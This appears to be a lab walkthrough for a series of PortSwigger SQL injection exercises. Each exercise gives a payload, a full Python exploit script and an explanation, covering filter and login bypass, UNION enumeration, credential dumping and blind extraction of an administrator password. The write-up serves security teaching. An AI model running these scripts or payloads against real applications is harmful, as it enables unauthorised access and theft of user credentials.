SQL Injection in WHERE Clause — Filter Bypass
What's happening
SQL injection is possible whenever user-supplied input is concatenated directly into a SQL query string rather than passed as a parameterized argument. When an application builds a query like "SELECT ... WHERE category = '" + userInput + "'", any SQL syntax inside userInput becomes part of the actual query — not just a string value. This is the root cause of every lab in this series.
The product filter page builds its SQL query by directly concatenating the user-supplied category parameter into the query string. There's no sanitization at all. The original query looks something like this:
The released = 1 condition is what hides unreleased products. If we can break out of the string and comment out the rest of the WHERE clause, both conditions disappear.
Gifts'+OR+1=1--
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
The single quote closes the category string. OR 1=1 makes the condition always true for every row. The -- comments out the AND released = 1 check entirely. Every product, released or not, is now returned.
The script
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def exploit(url, payload):
uri = "/filter?category="
r = requests.get(url + uri + payload, verify=False, proxies=proxies)
if "Fur Babies" in r.text:
return True
else:
return False
if __name__ == "__main__":
try:
url = sys.argv[1].strip()
payload = sys.argv[2].strip()
except IndexError:
print("Enter the command properly")
sys.exit(-1)
if exploit(url, payload):
print("[+] SQLi Successfully done")
else:
print("[-] SQLi Failed")python Lab1.py https://<lab-id>.web-security-academy.net "'+OR+1=1--"Script breakdown
| line / concept | what it does and why |
|---|---|
| urllib3.disable_warnings | PortSwigger labs use self-signed TLS certs. Without this, requests throws a warning on every call. Just noise suppression. |
| proxies dict | Routes all traffic through Burp Suite on port 8080 so you can see exactly what the script is sending and receiving. Essential for debugging. |
| verify=False | Disables TLS certificate verification — required for the self-signed lab cert. Never use this against real production targets. |
| "Fur Babies" in r.text | The success condition. "Fur Babies" is an unreleased product — if it shows up in the response, our filter bypass worked and unreleased products are now visible. This string changes per-lab; always inspect the response first to pick a reliable marker. |
| sys.argv[1], sys.argv[2] | URL and payload passed as command-line arguments. Keeps the script flexible — you can try different payloads without modifying the code. |
-- comment terminator is your tool for removing unwanted conditions that follow your injection point.SQL Injection — Login Bypass
administrator without knowing the passwordWhat's happening
The login form passes username and password directly into a SQL query. The backend likely runs something like:
Both conditions must be true to authenticate. By injecting into the username field, we can comment out the password check entirely:
administrator'--
SELECT * FROM users WHERE username = 'administrator'--' AND password = 'randomtext'
The query now only checks for a user with the username administrator. The password check is commented out. If that user exists, we're logged in.
This lab's login form includes a CSRF token — a hidden field that must match a server-side value or the form submission is rejected. CSRF tokens protect against cross-site request forgery: an attacker on another domain can't forge a valid form submission because they can't read the token from the page. But they do nothing against SQL injection — you just need to be a legitimate browser visiting the page and collecting the token. The script does exactly this: fetch the login page with a session, extract the token, then fire the injected POST with the same session.
The script
# python Lab2.py https://<lab-id>.web-security-academy.net/login "administrator'--"
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def get_csrf_token(s, url):
r = s.get(url, verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, 'html.parser')
csrf = soup.find("input")['value']
return csrf
def exploit_sqli(s, url, payload):
csrf = get_csrf_token(s, url)
data = {"csrf": csrf,
"username": payload,
"password": "randomtext"}
r = s.post(url, data=data, verify=False, proxies=proxies)
if "Log out" in r.text:
return True
else:
return False
if __name__ == "__main__":
try:
url = sys.argv[1].strip()
sqli_payload = sys.argv[2].strip()
except IndexError:
print("Enter url command properly")
sys.exit(-1)
s = requests.Session()
if exploit_sqli(s, url, sqli_payload):
print('[+] SQL injection successful! Logged in as administrator.')
else:
print('[-] SQL injection unsuccessful.')python Lab2.py https://<lab-id>.web-security-academy.net/login "administrator'--"Script breakdown
| line / concept | what it does and why |
|---|---|
| requests.Session() | Creates a persistent session object that carries cookies across requests. This is critical — the CSRF token from the GET request is tied to a session cookie. If you use a plain requests.get followed by a separate requests.post, you get two different sessions and the CSRF check fails. |
| get_csrf_token() | GETs the login page and uses BeautifulSoup to parse the HTML and extract the value of the first <input> element — that's where the CSRF token lives as a hidden field. |
| soup.find("input")['value'] | A slightly fragile selector — it grabs the first input in the page which happens to be the CSRF field. A more robust version would use soup.find("input", {"name": "csrf"}) to target it by name explicitly. |
| password: "randomtext" | Doesn't matter what value this is — the injection in the username field comments out the password check entirely before the server ever evaluates it. |
| "Log out" in r.text | If we're logged in, the response will contain a logout link. That's our success indicator — cleaner than checking for a specific page title that might vary. |
UNION Attack — Determining the Number of Columns
Why column count matters
UNION-based SQLi lets you append a second SELECT statement to the original query and have its results returned in the response. But for UNION to work, your injected SELECT must return the exact same number of columns as the original query. Too few or too many columns = Internal Server Error. Additionally, the column types need to be compatible — which is why we later use NULL placeholders (NULL is type-agnostic in SQL).
Step one of any UNION attack is therefore figuring out how many columns exist. There are two main methods: ORDER BY probing (incrementing until an error fires) or UNION NULL probing (adding NULLs until the query succeeds). ORDER BY is cleaner because it requires only one loop instead of trying every column count combination.
SELECT ... WHERE category='Gifts''+ORDER+BY+2-- ↠works
SELECT ... WHERE category='Gifts''+ORDER+BY+3-- ↠500 error → 2 columns exist
The script
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def exploit_sqli_column_number(url):
path = "filter?category=Gifts"
for i in range(1, 50):
payload = "'+order+by+%s--" % i
r = requests.get(url + path + payload, verify=False, proxies=proxies)
if "Internal Server Error" in r.text:
return i - 1
return False
if __name__ == "__main__":
try:
url = sys.argv[1].strip()
except IndexError:
print("[-] Example: %s www.example.com" % sys.argv[0])
sys.exit(-1)
print("[+] Figuring out number of columns...")
num_col = exploit_sqli_column_number(url)
if num_col:
print("[+] The number of columns is " + str(num_col) + ".")
else:
print("[-] The SQLi attack was not successful.")python Lab3.py https://<lab-id>.web-security-academy.net/Script breakdown
| line / concept | what it does and why |
|---|---|
| range(1, 50) | Tries ORDER BY 1 through ORDER BY 49. 50 is a safe upper bound — real queries rarely return more than 10–15 columns, but giving it headroom avoids edge cases. |
| "'+order+by+%s--" % i | The %s is Python's old-style string formatting — inserts the integer i. The + signs are URL-encoded spaces. Some servers require proper URL encoding; others accept literal spaces. Using + is safe for both. |
| "Internal Server Error" in r.text | When ORDER BY exceeds the column count, the database throws an error and the app returns a 500. That's our signal — and the answer is i - 1 (the last value that worked). |
| return i - 1 | We want the last successful column index, not the index that broke it. Since we detected failure at i, the count is i - 1. |
There's a subtle bug in the script: url + path + payload — if url doesn't end with /, this becomes https://example.comfilter?.... Add a trailing slash to your URL argument, or fix it in the code with url.rstrip('/') + '/' + path + payload.
UNION Attack — Finding a Column with String Data Type
Why data types matter
Knowing the column count isn't enough on its own. For UNION-based data exfiltration, we need to inject a string value into the response — but SQL requires that each column in a UNION has compatible types. A column that holds integers will throw an error if you try to inject a string into it.
The approach: try a UNION SELECT with a known test string in each column position, one at a time, while filling the others with NULL (which is type-compatible with anything). When the test string appears in the response, we've found our string column.
UNION SELECT NULL, 'v2F6UA', NULL-- ↠check response
UNION SELECT NULL, NULL, 'v2F6UA'-- ↠string appears → column 3 is a string type
The script
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def exploit_sqli_column_number(url):
path = "filter?category=Gifts"
for i in range(1, 50):
sql_payload = "'+order+by+%s--" % i
r = requests.get(url + path + sql_payload, verify=False, proxies=proxies)
if "Internal Server Error" in r.text:
return i - 1
return False
def exploit_sqli_string_field(url, num_col):
path = "filter?category=Gifts"
for i in range(1, num_col + 1):
string = "'v2F6UA'"
payload_list = ['null'] * num_col
payload_list[i - 1] = string
sql_payload = "' union select " + ','.join(payload_list) + "--"
r = requests.get(url + path + sql_payload, verify=False, proxies=proxies)
if string.strip('\'') in r.text:
return i
return False
if __name__ == "__main__":
try:
url = sys.argv[1].strip()
except IndexError:
print("[-] Usage: %s <url>" % sys.argv[0])
sys.exit(-1)
print("[+] Figuring out number of columns...")
num_col = exploit_sqli_column_number(url)
if num_col:
print("[+] The number of columns is " + str(num_col) + ".")
print("[+] Figuring out which column contains text...")
string_column = exploit_sqli_string_field(url, num_col)
if string_column:
print("[+] The column that contains text is " + str(string_column) + ".")
else:
print("[-] Could not find a string-type column.")
else:
print("[-] The SQLi attack was not successful.")python Lab4.py https://<lab-id>.web-security-academy.net/Script breakdown
| line / concept | what it does and why |
|---|---|
| payload_list = ['null'] * num_col | Creates a list of null values with the same length as the column count. For example, if there are 3 columns: ['null', 'null', 'null']. NULL is SQL's universal type placeholder — compatible with any column type. |
| payload_list[i-1] = string | Replaces one null with the test string at position i-1. The loop iterates through every column position systematically. The -1 is because the SQL column indices are 1-based but Python lists are 0-based. |
| "' union select " + ','.join(payload_list) + "--" | Assembles the final payload. ','.join() converts the list to a comma-separated string. Result looks like: ' union select null,'v2F6UA',null-- |
| string.strip('\'') | Strips the surrounding single quotes from 'v2F6UA' to get just v2F6UA. We check for the bare value in the response — the SQL quotes won't appear in the rendered HTML output. |
| Two-phase design | Lab 4 builds directly on Lab 3 — it reuses the exact column-count function and adds the string-field detection on top. This is the right pattern: each piece of recon feeds the next step. |
v2F6UA is arbitrary — just something distinctive enough that it won't appear in normal page content, so there are no false positives.UNION Attack — Retrieving Data from Other Tables
users table and log in as administratorWhat's happening
This is where the UNION technique pays off. You've already enumerated columns and identified a string-typed one — now you can directly exfiltrate real data. The application builds its query around a category filter, but by appending a UNION SELECT we can bolt on a second query that reads from any table we want, including the users table.
The key insight here is that SQL's UNION operator simply stacks result sets vertically. As long as the injected SELECT returns the same number of columns (with compatible types), its rows are appended to the original results and rendered in the page like any other product row.
UNION SELECT username, password FROM users--
The application then renders both the normal products and all rows from the users table. We parse the response HTML to find the cell next to "administrator" — that's the password.
For this Apprentice-level lab, PortSwigger tells you the table and column names in the lab description. In real engagements and later labs, you'd enumerate these from information_schema.tables first — which Labs 9 and 10 cover.
The script
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def exploit_sqli_users_table(url):
path = '/filter?category=Gifts'
sql_payload = "' UNION select username, password from users--"
r = requests.get(url + path + sql_payload, verify=False, proxies=proxies)
if "administrator" in r.text:
print("[+] Found the administrator password.")
soup = BeautifulSoup(r.text, 'html.parser')
admin_password = soup.body.find(text="administrator").parent.findNext('td').contents[0]
print("[+] The administrator password is '%s'" % admin_password)
return True
return False
if __name__ == "__main__":
try:
url = sys.argv[1].strip()
except IndexError:
print("[-] Usage: %s <url>" % sys.argv[0])
sys.exit(-1)
print("[+] Dumping the list of usernames and passwords...")
if not exploit_sqli_users_table(url):
print("[-] Did not find an administrator password.")python sqli-lab-05.py https://<lab-id>.web-security-academy.net/Script breakdown
| line / concept | what it does and why |
|---|---|
| UNION select username, password from users | This works because the original query returns exactly 2 columns. The UNION appends all rows from users to the product listing. Both columns are strings, satisfying the type compatibility requirement. |
| soup.body.find(text="administrator") | Finds the exact text node "administrator" in the rendered HTML. BeautifulSoup's find(text=...) returns the NavigableString itself — you then navigate to its parent element and look at the next sibling <td> for the password. |
| .parent.findNext('td').contents[0] | The username and password are adjacent table cells. findNext('td') walks to the immediately following cell — .contents[0] extracts the raw text from it. |
UNION Attack — Retrieving Multiple Values in a Single Column
The problem: only one usable column
Sometimes the query returns multiple columns but only one of them is a string type — or you only have one string column available to inject into. You can't pull username into a text column and password into an integer column — that would cause a type error.
The solution is string concatenation: merge both values into a single string with a separator character you can split on later. PostgreSQL uses the || operator for this. By injecting username || '*' || password, both fields are returned as one string like administrator*s3cr3tp4ss, then we split on * to extract the password.
→ renders: administrator*s3cr3tp4ss
The separator must be a character that won't appear naturally in either the username or password. A ~ or | usually works. Using * is risky if passwords are allowed to contain it — the split would produce unexpected results.
The script
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def exploit_sqli_users_table(url):
path = '/filter?category=Pets'
sql_payload = "' UNION select NULL, username || '*' || password from users--"
r = requests.get(url + path + sql_payload, verify=False, proxies=proxies)
if "administrator" in r.text:
print("[+] Found the administrator password...")
soup = BeautifulSoup(r.text, 'html.parser')
admin_password = soup.find(text=re.compile('.*administrator.*')).split("*")[1]
print("[+] The administrator password is '%s'." % admin_password)
return True
return False
if __name__ == "__main__":
try:
url = sys.argv[1].strip()
except IndexError:
print("[-] Usage: %s <url>" % sys.argv[0])
sys.exit(-1)
print("[+] Dumping the list of usernames and passwords...")
if not exploit_sqli_users_table(url):
print("[-] Did not find an administrator password.")python sqli-lab-06.py https://<lab-id>.web-security-academy.net/Script breakdown
| line / concept | what it does and why |
|---|---|
| username || '*' || password | PostgreSQL's string concatenation operator. Merges three strings: the username, a literal asterisk separator, and the password. Other databases use different syntax — MySQL uses CONCAT(a, '*', b), MSSQL uses a + '*' + b. |
| re.compile('.*administrator.*') | A regex-based text search that finds any HTML text node containing the word "administrator". We need regex here because the text is administrator*password — not the bare word — so an exact match would fail. |
| .split("*")[1] | Splits on the separator we injected and takes index [1] — that's everything after the first *, which is the password. Index [0] would be "administrator". |
| NULL in first position | The query has 2 columns. The first is not a string type (or we don't need it), so we fill it with NULL. The concatenated credentials go in column 2 — the one we confirmed accepts strings in Lab 4. |
||, MySQL CONCAT(), MSSQL +, Oracle ||) is therefore part of your fingerprinting checklist.SQL Injection — Querying the Database Type (Oracle)
v$version banner via a UNION injectionWhy database fingerprinting matters
Different databases have different syntax, different system tables, different functions. Before you can reliably exploit anything beyond the most basic injections, you need to know which database you're talking to. Fingerprinting tells you which techniques apply and which don't.
On Oracle specifically, there are two things that differ from other databases that are immediately relevant to UNION attacks. First, Oracle does not allow a SELECT statement without a FROM clause — you always need FROM dual as a placeholder table when selecting constants. Second, the version information lives in a special view called v$version, not in information_schema like MySQL or PostgreSQL.
→ Oracle Database 19c Enterprise Edition Release 19.0.0.0.0
In Oracle, even SELECT 'test', NULL needs a FROM clause: SELECT 'test', NULL FROM dual. dual is a built-in one-row dummy table that exists specifically for this purpose. Forgetting it produces an error that can tip you off that you're dealing with Oracle before you even look at the version string.
The script
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def exploit_sqli_version(url):
path = "/filter?category=Gifts"
sql_payload = "' UNION SELECT banner, NULL from v$version--"
r = requests.get(url + path + sql_payload, verify=False, proxies=proxies)
if "Oracle Database" in r.text:
print("[+] Found the database version.")
soup = BeautifulSoup(r.text, 'html.parser')
version = soup.find(text=re.compile('.*Oracle\sDatabase.*'))
print("[+] The Oracle database version is: " + version)
return True
return False
if __name__ == "__main__":
try:
url = sys.argv[1].strip()
except IndexError:
print("[-] Usage: %s <url>" % sys.argv[0])
sys.exit(-1)
print("[+] Dumping the version of the database...")
if not exploit_sqli_version(url):
print("[-] Unable to dump the database version.")python sqli-lab-07.py https://<lab-id>.web-security-academy.net/Script breakdown
| line / concept | what it does and why |
|---|---|
| v$version | Oracle's built-in view that exposes version and component information. It returns multiple rows — one per component — so the UNION will append all of them to the response. We only care about the row that starts with "Oracle Database". |
| "Oracle Database" in r.text | Fast pre-check — if this string appears anywhere in the response we know the UNION hit v$version successfully. Only then do we bother parsing the HTML in detail. |
| re.compile('.*Oracle\sDatabase.*') | The \s matches the space between "Oracle" and "Database". The .* on both sides allows for leading/trailing content in the text node (like surrounding table markup fragments). |
FROM dual for constant selects, and version info comes from v$version not @@version. Recognizing these quirks early lets you adapt your payloads before wasting time with syntax that won't work. Lab 8 covers the MySQL/MSSQL equivalent.SQL Injection — Querying the Database Type (MySQL / MSSQL)
@@versionWhat's different from Oracle
MySQL and Microsoft SQL Server share the @@version global variable which returns the full version string in one shot. Unlike Oracle, there's no need for a special view or a FROM clause. The comment syntax also differs: MySQL uses # or -- (note the trailing space), while Oracle and PostgreSQL use --.
In this lab the URL-encoded %23 is used instead of -- to comment out the rest of the query — %23 is the URL encoding for #, which is MySQL's inline comment character. This works in cases where -- gets stripped by a WAF or the application layer.
→ 8.0.31-0ubuntu0.20.04.2
The script
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def exploit_sqli_version(url):
path = "/filter?category=Accessories"
sql_payload = "' UNION SELECT @@version, NULL%23"
r = requests.get(url + path + sql_payload, verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, 'html.parser')
version = soup.find(text=re.compile('.*\d{1,2}\.\d{1,2}\.\d{1,2}.*'))
if version is None:
return False
print("[+] The database version is: " + version)
return True
if __name__ == "__main__":
try:
url = sys.argv[1].strip()
except IndexError:
print("[-] Usage: %s <url>" % sys.argv[0])
sys.exit(-1)
print("[+] Dumping the version of the database...")
if not exploit_sqli_version(url):
print("[-] Unable to dump the database version.")python sqli-lab-08.py https://<lab-id>.web-security-academy.net/Script breakdown
| line / concept | what it does and why |
|---|---|
| @@version | A MySQL/MSSQL global variable (note the double @@). Returns the full version string including build and OS details. This single variable works on both MySQL and SQL Server — making it a useful early probe before you've confirmed which one you're dealing with. |
| %23 comment | %23 is URL-encoded #. In MySQL, # starts a single-line comment, same as --. Using %23 is important because if you paste a # directly in a URL query string, some servers or proxies will interpret it as a URL fragment separator and strip everything after it. |
| re.compile('.*\d{1,2}\.\d{1,2}\.\d{1,2}.*') | Matches a semantic version pattern like 8.0.31. A database-agnostic detection heuristic — if any text node in the page contains a version-like string, it's almost certainly the result of our @@version injection. |
@@version syntax, which makes probing simpler than Oracle. The URL-encoding subtlety with %23 vs # is also a useful thing to internalize — understanding how HTTP clients handle special characters in URLs is important when your payloads contain comment characters, quotes, or spaces.SQL Injection — Listing Database Contents (Non-Oracle)
information_schema, then dump the administrator passwordinformation_schema: the attacker's map
information_schema is a standard SQL schema present in MySQL, PostgreSQL, and MSSQL (but not Oracle) that acts as a metadata catalog — it contains tables listing every table, every column, every constraint in the database. For an attacker who's achieved UNION injection, this is a complete map of the database.
The attack chain here is three steps: query information_schema.tables to find the users table name (which may be obfuscated), then query information_schema.columns to find the actual column names, then finally UNION SELECT the credentials directly.
step 2 — enumerate columns in the users table UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'--
step 3 — dump credentials UNION SELECT username, password FROM users--
The script
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def perform_request(url, sql_payload):
path = '/filter?category=Accessories'
r = requests.get(url + path + sql_payload, verify=False, proxies=proxies)
return r.text
def sqli_users_table(url):
sql_payload = "' UNION SELECT table_name, NULL FROM information_schema.tables--"
res = perform_request(url, sql_payload)
soup = BeautifulSoup(res, 'html.parser')
users_table = soup.find(text=re.compile('.*users.*'))
return users_table if users_table else False
def sqli_users_columns(url, users_table):
sql_payload = "' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = '%s'--" % users_table
res = perform_request(url, sql_payload)
soup = BeautifulSoup(res, 'html.parser')
username_column = soup.find(text=re.compile('.*username.*'))
password_column = soup.find(text=re.compile('.*password.*'))
return username_column, password_column
def sqli_administrator_cred(url, users_table, username_column, password_column):
sql_payload = "' UNION select %s, %s from %s--" % (username_column, password_column, users_table)
res = perform_request(url, sql_payload)
soup = BeautifulSoup(res, 'html.parser')
admin_password = soup.body.find(text="administrator").parent.findNext('td').contents[0]
return admin_password
if __name__ == "__main__":
try:
url = sys.argv[1].strip()
except IndexError:
print("[-] Usage: %s <url>" % sys.argv[0])
sys.exit(-1)
print("Looking for a users table...")
users_table = sqli_users_table(url)
if users_table:
print("Found the users table: %s" % users_table)
username_column, password_column = sqli_users_columns(url, users_table)
if username_column and password_column:
admin_password = sqli_administrator_cred(url, users_table, username_column, password_column)
if admin_password:
print("[+] The administrator password is: %s" % admin_password)python sqli-lab-09.py https://<lab-id>.web-security-academy.net/Script breakdown
| line / concept | what it does and why |
|---|---|
| perform_request() helper | Factors out the repetitive request logic so each discovery function just passes a payload. Clean pattern — each function has one job: build a payload, parse the result, return the finding. |
| information_schema.tables | A standard metadata table available in MySQL, PostgreSQL, and MSSQL. Contains one row per table with columns including table_name, table_schema, and table_type. Querying it gives a complete list of every table the current user has access to. |
| re.compile('.*users.*') | Finds any table name containing "users" — the actual name might be randomized (e.g., users_abcxyz) in some lab variants. The regex handles this without needing an exact match. |
| Three-phase attack structure | Table name → column names → credentials. Each phase feeds the next. The final query uses the dynamically discovered names rather than assumptions. This is how a real blind enumeration would work against an unfamiliar target. |
information_schema is one of the most powerful things to know about for SQL injection. It effectively hands you a full blueprint of the database. The three-phase enumeration pattern (tables → columns → data) is a reusable template you'll use on practically every non-blind UNION injection from here on.SQL Injection — Listing Database Contents (Oracle)
all_tables / all_tab_columns views and dump admin credentialsOracle's equivalent of information_schema
Oracle doesn't have information_schema. Instead, it exposes schema metadata through its own family of catalog views: all_tables (tables accessible to the current user), all_tab_columns (columns in those tables), and user_tables / dba_tables for different privilege levels.
The logic is identical to Lab 9 — enumerate tables, then columns, then dump credentials — but the table names and column names in the metadata queries are different. In Oracle, the column is table_name in all_tables, and column_name in all_tab_columns. Oracle also tends to store names in uppercase, so USERS_ABCDEF instead of users_abcdef.
Oracle — enumerate columns UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name='USERS_ABCDEF'--
The script
import requests
import sys
import urllib3
from bs4 import BeautifulSoup
import re
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def perform_request(url, sql_payload):
path = "/filter?category=Gifts"
r = requests.get(url + path + sql_payload, verify=False, proxies=proxies)
return r.text
def sqli_users_table(url):
sql_payload = "' UNION SELECT table_name, NULL FROM all_tables--"
res = perform_request(url, sql_payload)
soup = BeautifulSoup(res, 'html.parser')
users_table = soup.find(text=re.compile('^USERS\_.*'))
return users_table
def sqli_users_columns(url, users_table):
sql_payload = "' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = '%s'-- " % users_table
res = perform_request(url, sql_payload)
soup = BeautifulSoup(res, 'html.parser')
username_column = soup.find(text=re.compile('.*USERNAME.*'))
password_column = soup.find(text=re.compile('.*PASSWORD.*'))
return username_column, password_column
def sqli_administrator_cred(url, users_table, username_column, password_column):
sql_payload = "' UNION select %s, %s from %s--" % (username_column, password_column, users_table)
res = perform_request(url, sql_payload)
soup = BeautifulSoup(res, 'html.parser')
admin_password = soup.find(text="administrator").parent.findNext('td').contents[0]
return admin_password
if __name__ == "__main__":
try:
url = sys.argv[1].strip()
except IndexError:
print("[-] Usage: %s <url>" % sys.argv[0])
sys.exit(-1)
print("Looking for the users table...")
users_table = sqli_users_table(url)
if users_table:
print("Found: %s" % users_table)
username_column, password_column = sqli_users_columns(url, users_table)
if username_column and password_column:
admin_password = sqli_administrator_cred(url, users_table, username_column, password_column)
if admin_password:
print("[+] The administrator password is: %s" % admin_password)python sqli-lab-10.py https://<lab-id>.web-security-academy.net/Script breakdown
| line / concept | what it does and why |
|---|---|
| all_tables vs information_schema.tables | all_tables is Oracle's equivalent — it returns all tables accessible to the current session. dba_tables would return everything in the database, but requires DBA privileges. user_tables returns only tables owned by the current user. |
| all_tab_columns | Oracle's equivalent of information_schema.columns. The column is still called column_name, but the table name filter uses table_name (uppercase). The WHERE clause table_name = 'USERS_ABCDEF' must exactly match Oracle's uppercase naming. |
| re.compile('^USERS\_.*') | The ^ anchors to the start of the text node. Oracle stores table names in uppercase — the regex matches any name starting with "USERS_". The backslash escapes the underscore so it's treated as a literal character, not a single-char wildcard (though in Python regex, _ doesn't need escaping — it's a defensive habit). |
all_tables / all_tab_columns and expect uppercase names. The script structure here is a good template to adapt for any UNION-capable database.Blind SQLi — Conditional Responses
What is blind SQL injection?
All the labs so far have been in-band (or visible) injection — the query results were reflected directly into the page HTML. Blind SQLi is fundamentally different: the application doesn't return query data in the response at all. Instead, you infer information from how the application responds.
In a boolean-based blind attack, you craft a query that evaluates to true or false, and observe a binary difference in the application's response. Here, the difference is whether "Welcome back" appears or not. By asking questions like "is the first character of the password greater than 'm'?" and watching the response, you can extract the entire password — one bit of information per request.
→ if "Welcome back" appears, first char is ASCII 97 ('a')
The script iterates this over all 20 character positions and ASCII values 32–125, making up to 1880 requests to extract a 20-character password. This is brute force — slow but reliable.
This script uses hardcoded TrackingId and session cookie values — they're specific to a single lab instance. Each time you spin up a new lab, you need to update these values from your browser session or Burp Suite before running the script.
The script
import sys
import requests
import urllib3
import urllib
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def sqli_password(url):
password_extracted = ""
for i in range(1, 21):
for j in range(32, 126):
sqli_payload = "' and (select ascii(substring(password,%s,1)) from users where username='administrator')='%s'--" % (i, j)
sqli_payload_encoded = urllib.parse.quote(sqli_payload)
cookies = {'TrackingId': 'dCqiyv8E4BfhhpHL' + sqli_payload_encoded, 'session': 'bdb4dZfXEcfucciq98jCIYBJW4NL7y7M'}
r = requests.get(url, cookies=cookies, verify=False, proxies=proxies)
if "Welcome" not in r.text:
sys.stdout.write('\r' + password_extracted + chr(j))
sys.stdout.flush()
else:
password_extracted += chr(j)
sys.stdout.write('\r' + password_extracted)
sys.stdout.flush()
break
def main():
if len(sys.argv) != 2:
print("(+) Usage: %s <url>" % sys.argv[0])
sys.exit(-1)
url = sys.argv[1]
print("(+) Retrieving administrator password...")
sqli_password(url)
if __name__ == "__main__":
main()python sqli-lab-11.py https://<lab-id>.web-security-academy.net/Script breakdown
| line / concept | what it does and why |
|---|---|
| range(1,21) outer loop | Iterates over character positions 1 through 20 — the assumed maximum password length. SUBSTRING(password, i, 1) extracts a single character at position i. |
| range(32,126) inner loop | Iterates over the printable ASCII range. 32 is space, 126 is tilde ~. Passwords typically use alphanumeric chars plus punctuation, all of which fall within this range. |
| ASCII() + SUBSTRING() | ASCII() converts a character to its numeric code. Comparing numbers is more reliable than comparing character strings directly (avoids case-sensitivity issues on some databases). When ASCII code matches j, we convert back with Python's chr(j). |
| urllib.parse.quote() | URL-encodes the payload before appending it to the cookie value. Without this, special characters like spaces, quotes, and equals signs would corrupt the cookie header and cause request failures. |
| sys.stdout.write + flush | Writes to stdout without a newline and immediately flushes the buffer. Combined with \r (carriage return), this creates a live updating display — you see the password being discovered character by character in real time. |
| Cookie-based injection | The injection point here is the TrackingId cookie, not a URL parameter or form field. This is an important reminder: any value the server reads into a SQL query is a potential injection point — not just visible form inputs. |
Blind SQLi — Conditional Errors
When there's no "Welcome back" to observe
Sometimes an application is so well-hardened that it returns identical responses for both true and false conditions — no conditional message, no content difference whatsoever. Boolean-based blind SQLi fails here. The solution: make the database error on purpose when a condition is true.
In Oracle, the expression TO_CHAR(1/0) causes a divide-by-zero error. By placing it inside a CASE WHEN — only evaluated when the condition is true — you can turn a true/false result into a 200 response vs. a 500 response. The server always returns a 500 on a database error, which is your oracle.
→ 500 error = condition true (char is 'a')
→ 200 OK = condition false
Note the || ' at the end — this closes the string concatenation that started in the cookie value, keeping the overall SQL syntax valid when the CASE returns an empty string.
The script
import sys
import requests
import urllib3
import urllib.parse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def sqli_password(url):
password_extracted = ""
for i in range(1, 21):
for j in range(32, 126):
sqli_payload = "' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and ascii(substr(password,%s,1))='%s') || '" % (i, j)
sqli_payload_encoded = urllib.parse.quote(sqli_payload)
cookies = {'TrackingId': 'FGDUewi6MoAn18KJ' + sqli_payload_encoded, 'session': 'VdmCjrlz6I6zAXGXEp2u32p0OXKDGhm2'}
r = requests.get(url, cookies=cookies, verify=False, proxies=proxies)
if r.status_code == 500:
password_extracted += chr(j)
sys.stdout.write('\r' + password_extracted)
sys.stdout.flush()
break
else:
sys.stdout.write('\r' + password_extracted + chr(j))
sys.stdout.flush()
def main():
if len(sys.argv) != 2:
print("(+) Usage: %s <url>" % sys.argv[0])
sys.exit(-1)
url = sys.argv[1]
print("(+) Retrieving administrator password...")
sqli_password(url)
if __name__ == "__main__":
main()python sqli-lab-12.py https://<lab-id>.web-security-academy.net/Script breakdown
| line / concept | what it does and why |
|---|---|
| CASE WHEN ... THEN TO_CHAR(1/0) ELSE '' END | The core trick. CASE WHEN (condition) THEN TO_CHAR(1/0) — if the condition is true, Oracle evaluates TO_CHAR(1/0), which divides by zero and throws an error. If false, it returns an empty string. The character extraction condition is embedded in the WHERE clause of the subquery. |
| String concatenation with || ' | The payload is embedded in the middle of the cookie's string value. The leading ' breaks out of the string, the || concatenates the CASE subquery result back in, and the trailing || ' ensures the SQL stays syntactically valid when the result is an empty string. |
| r.status_code == 500 | The observable oracle. A 500 means the database threw an error — condition was true. A 200 means the CASE returned empty string — condition was false. Cleaner than parsing response text. |
